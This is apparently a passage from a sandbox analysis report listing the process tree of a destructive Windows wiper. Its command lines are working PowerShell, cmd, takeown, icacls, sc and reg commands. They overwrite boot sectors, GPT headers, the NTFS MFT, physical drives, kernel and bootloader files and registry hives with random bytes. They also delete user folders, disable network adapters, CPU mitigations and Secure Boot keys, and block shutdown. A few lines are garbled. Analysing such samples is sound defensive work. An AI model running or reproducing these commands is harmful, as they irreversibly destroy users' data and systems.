  - Modifies file permissions
  PID:4816
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\dwm.exe" /grant Everyone:F /c /q
  2⤵
  - Modifies file permissions
  PID:1772
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\dwmcore.dll" /grant Everyone:F /c /q
  2⤵
  - Modifies file permissions
  PID:1468
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\dwmapi.dll" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$files=@('C:\Windows\System32\dwm.exe','C:\Windows\System32\dwmcore.dll','C:\Windows\System32\dwmapi.dll'); foreach($f in $files){ if(Test-Path $f){ $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2104
- C:\Windows\system32\sc.exe
  sc stop UxSms
  2⤵
  - Launches sc.exe
  PID:740
- C:\Windows\system32\sc.exe
  sc config UxSms start= disabled
  2⤵
  - Launches sc.exe
  PID:4840
- C:\Windows\system32\sc.exe
  sc delete UxSms
  2⤵
  PID:4596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "for($d=0;$d -lt (Get-Disk).Count;$d++){ try{ $fs=[System.IO.File]::OpenWrite('\\.\PhysicalDrive'+$d); $b=[byte[]]::new(512); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$sys = (Get-Partition -DriveLetter $env:SystemDrive[0]).DiskNumber; for($d=0;$d -lt (Get-Disk).Count;$d++){ if($d -ne $sys){ $null = [System.IO.File]::OpenWrite('\\.\PhysicalDrive'+$d).Write([byte[]]::new(512),0,512) } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$dc=(Get-Disk).Count;[uint32]$am=0xC0000000;$rng=[System.Security.Cryptography.RNGCryptoServiceProvider]::new();Add-Type -Name 'D' -Namespace 'R' -MemberDefinition '[DllImport(\"kernel32.dll\")]public static extern IntPtr CreateFile(string n,uint a,uint m,IntPtr s,uint c,uint f,IntPtr t);[DllImport(\"kernel32.dll\")]public static extern bool WriteFile(IntPtr h,byte[] p,uint z,out uint w,IntPtr o);[DllImport(\"kernel32.dll\")]public static extern bool SetFilePointerEx(IntPtr h,long d,out long nd,uint m);[DllImport(\"kernel32.dll\")]public static extern bool CloseHandle(IntPtr h);';for($d=0;$d -lt $dc;$d++){$p=\"\\\\.\\PhysicalDrive$d\";$h=[R.D]::CreateFile($p,$am,0,[IntPtr]::Zero,3,0x80,[IntPtr]::Zero);if($h -ne [IntPtr]::MinusOne){$ds=(Get-Disk -Number $d).Size;$b=[byte[]]::new(10485760);[R.D]::WriteFile($h,$b,$b.Length,[ref]0,[IntPtr]::Zero);$rng.GetBytes($b);for($i=0;$i -lt $b.Length;$i++){$b[$i]=0xFF};[R.D]::WriteFile($h,$b,$b.Length,[ref]0,[IntPtr]::Zero);for($i=0;$i -lt $b.Length;$i++){$b[$i]=0xAA};[R.D]::WriteFile($h,$b,$b.Length,[ref]0,[IntPtr]::Zero);$np=0;[R.D]::SetFilePointerEx($h,$ds-1048576000,[ref]$np,0);$rng.GetBytes($b);[R.D]::WriteFile($h,$b,$b.Length,[ref]0,[IntPtr]::Zero);[R.D]::CloseHandle($h)|Out-Null}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4444
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z4mzpucw\z4mzpucw.cmdline"
    3⤵
    PID:1836
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4BF3.tmp" "c:\Users\Admin\AppData\Local\Temp\z4mzpucw\CSC756032D082B54A3DA764DB66E2E55AF1.TMP"
      4⤵
      PID:4236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "for($d=0;$d -lt (Get-Disk).Count;$d++){ try{ $size=(Get-Disk -Number $d).Size; $fs=[System.IO.File]::OpenWrite('\\.\PhysicalDrive'+$d); $rng=[System.Security.Cryptography.RNGCryptoServiceProvider]::new(); $primaryHeader=[byte[]]::new(512); $rng.GetBytes($primaryHeader); $backupHeader=[byte[]]::new(512); $rng.GetBytes($backupHeader); $fs.Seek(0,[System.IO.SeekOrigin]::Begin); $fs.Write($primaryHeader,0,512); $fs.Seek(512,[System.IO.SeekOrigin]::Begin); $fs.Write($primaryHeader,0,512); $fs.Seek($size-512,[System.IO.SeekOrigin]::Begin); $fs.Write($backupHeader,0,512); $fs.Close() } catch{} }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "for($d=0;$d -lt (Get-Disk).Count;$d++){ try{ $size=(Get-Disk -Number $d).Size; $fs=[System.IO.File]::OpenWrite('\\.\PhysicalDrive'+$d); $b=[byte[]]::new(512); $b[510]=0x55; $b[511]=0xAA; for($i=446;$i -lt 510;$i++){ $b[$i]=0xFF }; $fs.Seek(0,[System.IO.SeekOrigin]::Begin); $fs.Write($b,0,512); $nulls=[byte[]]::new(54272); $fs.Seek($size-54272,[System.IO.SeekOrigin]::Begin); $fs.Write($nulls,0,$nulls.Length); $fs.Close() } catch{} }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$vols=Get-Volume -FileSystem NTFS; foreach($v in $vols){ $drive=$v.DriveLetter+':'; fsutil fsinfo ntfsinfo $drive | Select-String 'Mft Mirror Start Lcn'; $mirrOffset = [int64]($matches[0] -replace '.*: 0x','0x') * [int64]((fsutil fsinfo ntfsinfo $drive | Select-String 'Bytes per Cluster').Line.Split(':')[1].Trim()); $fs=[System.IO.File]::OpenWrite('\\.\'+$drive); $fs.Seek($mirrOffset,0); $rng=New-Object System.Security.Cryptography.RNGCryptoServiceProvider; $buf=[byte[]]::new(65536); $rng.GetBytes($buf); $fs.Write($buf,0,$buf.Length); $fs.Close() }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$vols=Get-Volume -FileSystem NTFS -ErrorAction SilentlyContinue; foreach($v in $vols){ $drive=$v.DriveLetter+':'; try{ $mftStart=(fsutil fsinfo ntfsinfo $drive 2>$null | Select-String 'Mft Start Lcn' -ErrorAction SilentlyContinue).Line -replace '.*: 0x','0x'; $mftMirrStart=(fsutil fsinfo ntfsinfo $drive 2>$null | Select-String 'Mft2 Start Lcn' -ErrorAction SilentlyContinue).Line -replace '.*: 0x','0x'; $bytesPerCluster=(fsutil fsinfo ntfsinfo $drive 2>$null | Select-String 'Bytes per Cluster' -ErrorAction SilentlyContinue).Line.Split(':')[1].Trim(); $mftOffset=[int64]$mftStart * [int64]$bytesPerCluster; $mftMirrOffset=[int64]$mftMirrStart * [int64]$bytesPerCluster; $fs=[System.IO.File]::OpenWrite('\\.\'+$drive); $buf=[byte[]]::new(131072); $rng=[System.Security.Cryptography.RNGCryptoServiceProvider]::new(); $rng.GetBytes($buf); $fs.Seek($mftOffset,[System.IO.SeekOrigin]::Begin); for($j=0;$j -lt 8;$j++){ $fs.Write($buf,0,$buf.Length) }; $rng.GetBytes($buf); $fs.Seek($mftMirrOffset,[System.IO.SeekOrigin]::Begin); for($j=0;$j -lt 8;$j++){ $fs.Write($buf,0,$buf.Length) }; $fs.Close(); fsutil dirty set $drive 2>$null } catch{} }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$z=[byte[]]::new(65536); for($d=0;$d -lt (Get-Disk).Count;$d++){ try{ $p='\\.\PhysicalDrive'+$d; $f=[System.IO.File]::OpenWrite($p); for($i=0;$i -lt 1600;$i++){ $f.Write($z,0,$z.Length) }; $f.Close() } catch{} }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:388
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\RuntimeBroker.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4624
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\psmsrv.dll" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1916
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\RuntimeBroker.exe" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:4076
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\psmsrv.dll" /grant Everyone:F /c /q
  2⤵
  PID:2300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$f='C:\Windows\System32\RuntimeBroker.exe'; $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2872
- C:\Windows\system32\sc.exe
  sc stop PimIndexMaintenanceSvc
  2⤵
  PID:884
- C:\Windows\system32\sc.exe
  sc stop UnistoreSvc
  2⤵
  - Launches sc.exe
  PID:2808
- C:\Windows\system32\sc.exe
  sc stop UserDataSvc
  2⤵
  - Launches sc.exe
  PID:4952
- C:\Windows\system32\sc.exe
  sc delete PimIndexMaintenanceSvc
  2⤵
  - Launches sc.exe
  PID:4268
- C:\Windows\system32\sc.exe
  sc delete UnistoreSvc
  2⤵
  - Launches sc.exe
  PID:1528
- C:\Windows\system32\sc.exe
  sc delete UserDataSvc
  2⤵
  - Launches sc.exe
  PID:3596
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\ttdrecord.dll" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2988
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\ttdwriter.dll" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4592
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\ttdrecord.dll" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2084
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\ttdwriter.dll" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  PID:5112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$disks=Get-PhysicalDisk | Where-Object BusType -eq 'NVMe'; foreach($d in $disks){ try{ $n='\\.\PhysicalDrive'+$d.DeviceId; $fs=[System.IO.File]::OpenWrite($n); $b=[byte[]]::new(4096); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Seek(8192,[System.IO.SeekOrigin]::Begin); for($j=0;$j -lt 64;$j++){ $fs.Write($b,0,$b.Length) }; $fs.Close() } catch{} }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3404
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\dxgkrnl.sys" /a
  2⤵
  - Possible privilege escalation attempt
  PID:1848
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\dxgmms2.sys" /a
  2⤵
  - Possible privilege escalation attempt
  PID:4868
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\d3d11.dll" /a
  2⤵
  - Possible privilege escalation attempt
  PID:3548
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\dcomp.dll" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4316
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\dxgkrnl.sys" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2776
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\dxgmms2.sys" /grant Everyone:F /c /q
  2⤵
  PID:1108
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\d3d11.dll" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:2316
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\dcomp.dll" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$files=@('C:\Windows\System32\drivers\dxgkrnl.sys','C:\Windows\System32\drivers\dxgmms2.sys','C:\Windows\System32\d3d11.dll','C:\Windows\System32\dcomp.dll'); foreach($f in $files){ if(Test-Path $f){ $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2628
- C:\Windows\system32\sc.exe
  sc stop KtmRm
  2⤵
  - Launches sc.exe
  PID:220
- C:\Windows\system32\sc.exe
  sc delete KtmRm
  2⤵
  - Launches sc.exe
  PID:4756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-ChildItem 'C:\ProgramData\Microsoft\Windows\WER\ReportQueue' -Recurse -ErrorAction SilentlyContinue | Where-Object {:OpenWrite($_.FullName); $b=[byte[]]::new(1024); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$vols=Get-Volume -FileSystem NTFS -ErrorAction SilentlyContinue; foreach($v in $vols){ $drive=$v.DriveLetter+':'; try{ $fs=[System.IO.File]::OpenWrite('\\.\'+$drive); $b=[byte[]]::new(512); for($i=0;$i -lt 512;$i++){ $b[$i]=0xCC }; $fs.Seek(0,[System.IO.SeekOrigin]::Begin); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:1940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$f=[System.IO.File]::OpenWrite('C:\pagefile.sys'); $size=$f.Length; $rng=[System.Security.Cryptography.RNGCryptoServiceProvider]::new(); $buf=[byte[]]::new(65536); for($i=0;$i -lt [Math]::Min(10000,$size/65536);$i++){ $rng.GetBytes($buf); $f.Seek(Get-Random -Min 0 -Max ($size-65536),[System.IO.SeekOrigin]::Begin); $f.Write($buf,0,$buf.Length) }; $f.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1828
- C:\Windows\system32\fsutil.exe
  fsutil behavior set disableencryption 1
  2⤵
  PID:3772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);';$hwnd=[Console.Window]::GetConsoleWindow();[Console.Window]::ShowWindow($hwnd,0)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2804
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t4i2zvx4\t4i2zvx4.cmdline"
    3⤵
    PID:516
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6FA8.tmp" "c:\Users\Admin\AppData\Local\Temp\t4i2zvx4\CSCAA96AACFDA94406EA51964F7ED88C1.TMP"
      4⤵
      PID:2820
- C:\Windows\System32\Wbem\WMIC.exe
  wmic nic where "NetEnabled=true" call Disable
  2⤵
  PID:4384
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\DriverStore" /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3312
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\DriverStore" /grant "Admin:F" /t /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1432
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\Inf" /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1180
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\Inf" /grant "Admin:F" /t /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3408
- C:\Windows\system32\sc.exe
  sc stop PlugPlay
  2⤵
  - Launches sc.exe
  PID:4900
- C:\Windows\system32\sc.exe
  sc config PlugPlay start= disabled
  2⤵
  - Launches sc.exe
  PID:3212
- C:\Windows\system32\sc.exe
  sc delete PlugPlay
  2⤵
  PID:4936
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy" /r /d y
  2⤵
  - Possible privilege escalation attempt
  PID:3656
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy" /grant Everyone:F /t /c /q
  2⤵
  - Modifies file permissions
  PID:4356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-ChildItem 'C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy' -Recurse -ErrorAction SilentlyContinue | Where-Object {:OpenWrite($_.FullName); $b=[byte[]]::new(1024); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:2880
- C:\Windows\system32\timeout.exe
  timeout /t 40
  2⤵
  - Delays execution with timeout.exe
  PID:2060
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q "C:\Users\Admin\Documents\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Documents""
  2⤵
  PID:4152
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q "C:\Users\Admin\Pictures\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Pictures""
  2⤵
  PID:4956
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q "C:\Users\Admin\Music\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Music""
  2⤵
  PID:5020
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q "C:\Users\Admin\Videos\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Videos""
  2⤵
  PID:3912
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q "C:\Users\Admin\Desktop\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Desktop""
  2⤵
  PID:3300
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q "C:\Users\Admin\Downloads\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Downloads""
  2⤵
  PID:1436
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q "C:\Users\Admin\OneDrive\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\OneDrive""
  2⤵
  PID:2200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$drive=(New-Object -ComObject 'WMPlayer.OCX.7').cdromCollection; if($drive.Count -gt 0){ for($i=0;$i -lt 50;$i++){ $drive.Item(0).Eject(); Start-Sleep -Milliseconds 50; $drive.Item(0).Eject(); Start-Sleep -Milliseconds 50 } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  PID:3728
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 3728 -s 2004
    3⤵
    PID:2116
- C:\Windows\system32\powercfg.exe
  powercfg -setacvalueindex scheme_current sub_processor syscoolpm 0
  2⤵
  - Power Settings
  PID:5012
- C:\Windows\system32\powercfg.exe
  powercfg -setdcvalueindex scheme_current sub_processor syscoolpm 0
  2⤵
  - Power Settings
  PID:2412
- C:\Windows\system32\powercfg.exe
  powercfg /setactive scheme_current
  2⤵
  - Power Settings
  PID:2504
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\54533251-82be-4824-96c1-47b60b740d00\94D3A615-A899-4AC5-AE2B-E40910912795" /v Attributes /t REG_DWORD /d 0 /f
  2⤵
  PID:3176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "for($j=0;$j -lt [Environment]::ProcessorCount;$j++){ Start-Job -ScriptBlock { while($true){ $r=New-Object System.Random; $a=0; for($k=0;$k -lt 999999;$k++){ $a+=$r.NextDouble() * $r.Next() 79228162514264337593543950335 } } } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4316
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverride /t REG_DWORD /d 3 /f
  2⤵
  PID:4208
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverrideMask /t REG_DWORD /d 3 /f
  2⤵
  PID:1408
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverride /t REG_DWORD /d 0xFFFFFFFF /f
  2⤵
  PID:4256
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu set MitigationOptions=0
  2⤵
  PID:776
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\ntdll.dll" /a
  2⤵
  PID:3096
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\kernel32.dll" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1324
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\hal.dll" /a
  2⤵
  - Possible privilege escalation attempt
  PID:4328
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\ntoskrnl.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4532
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\ntdll.dll" /grant Everyone:F /c /q
  2⤵
  PID:1212
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\kernel32.dll" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:2652
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\hal.dll" /grant Everyone:F /c /q
  2⤵
  PID:3672
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\ntoskrnl.exe" /grant Everyone:F /c /q
  2⤵
  PID:1380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$files=@('C:\Windows\System32\ntdll.dll','C:\Windows\System32\kernel32.dll','C:\Windows\System32\hal.dll','C:\Windows\System32\ntoskrnl.exe'); foreach($f in $files){ try{ $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new(4096); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Seek(512,[System.IO.SeekOrigin]::Begin); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  PID:4228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$hives=@('C:\Windows\System32\config\SOFTWARE','C:\Windows\System32\config\SYSTEM','C:\Windows\System32\config\SAM','C:\Windows\System32\config\SECURITY'); foreach($h in $hives){ try{ $fs=[System.IO.File]::OpenWrite($h); $b=[byte[]]::new(65536); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  PID:2820
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\shutdown.exe" /a
  2⤵
  PID:2936
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\shutdown.exe" /deny Everyone:(X)
  2⤵
  PID:2708
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCAD /t REG_DWORD /d 1 /f
  2⤵
  PID:3464
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
  2⤵
  PID:1560
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\winload.exe" /a
  2⤵
  - Modifies file permissions
  PID:1040
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\winload.efi" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3132
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\winresume.exe" /a
  2⤵
  - Modifies file permissions
  PID:4608
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\winresume.efi" /a
  2⤵
  PID:3432
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\winload.exe" /grant Everyone:F /c /q
  2⤵
  - Modifies file permissions
  PID:2340
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\winload.efi" /grant Everyone:F /c /q
  2⤵
  PID:1316
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\winresume.exe" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2440
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\winresume.efi" /grant Everyone:F /c /q
  2⤵
  - Modifies file permissions
  PID:2852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$files=@('C:\Windows\System32\winload.exe','C:\Windows\System32\winload.efi','C:\Windows\System32\winresume.exe','C:\Windows\System32\winresume.efi'); foreach($f in $files){ if(Test-Path $f){ $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  PID:4784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$ns='8be4df61-93ca-11d2-aa0d-00e098032b8c'; @('PK','KEK','db','dbx') | ForEach-Object { Set-UEFIVariable -Name $_ -Namespace $ns -Bytes ([byte[]]::new(1)) -ErrorAction SilentlyContinue }; @('SetupMode','AuditMode','DeployedMode') | ForEach-Object { Set-UEFIVariable -Name $_ -Namespace $ns -Bytes ([byte[]](1)) -ErrorAction SilentlyContinue }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  PID:1028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "for($d=0;$d -lt (Get-Disk).Count;$d++){ $sz=(Get-Disk -Number $d).Size; $p='\\.\PhysicalDrive'+$d; $f=[System.IO.File]::OpenWrite($p); $b=[byte[]]::new(1048576); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $f.Seek($sz-2097152,[System.IO.SeekOrigin]::Begin); for($i=0;$i -lt 32;$i++){ $f.Write($b,0,$b.Length) }; $f.Seek(0,[System.IO.SeekOrigin]::Begin); for($i=0;$i -lt 512;$i++){ $f.Write($b,0,$b.Length) }; $f.Close() }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
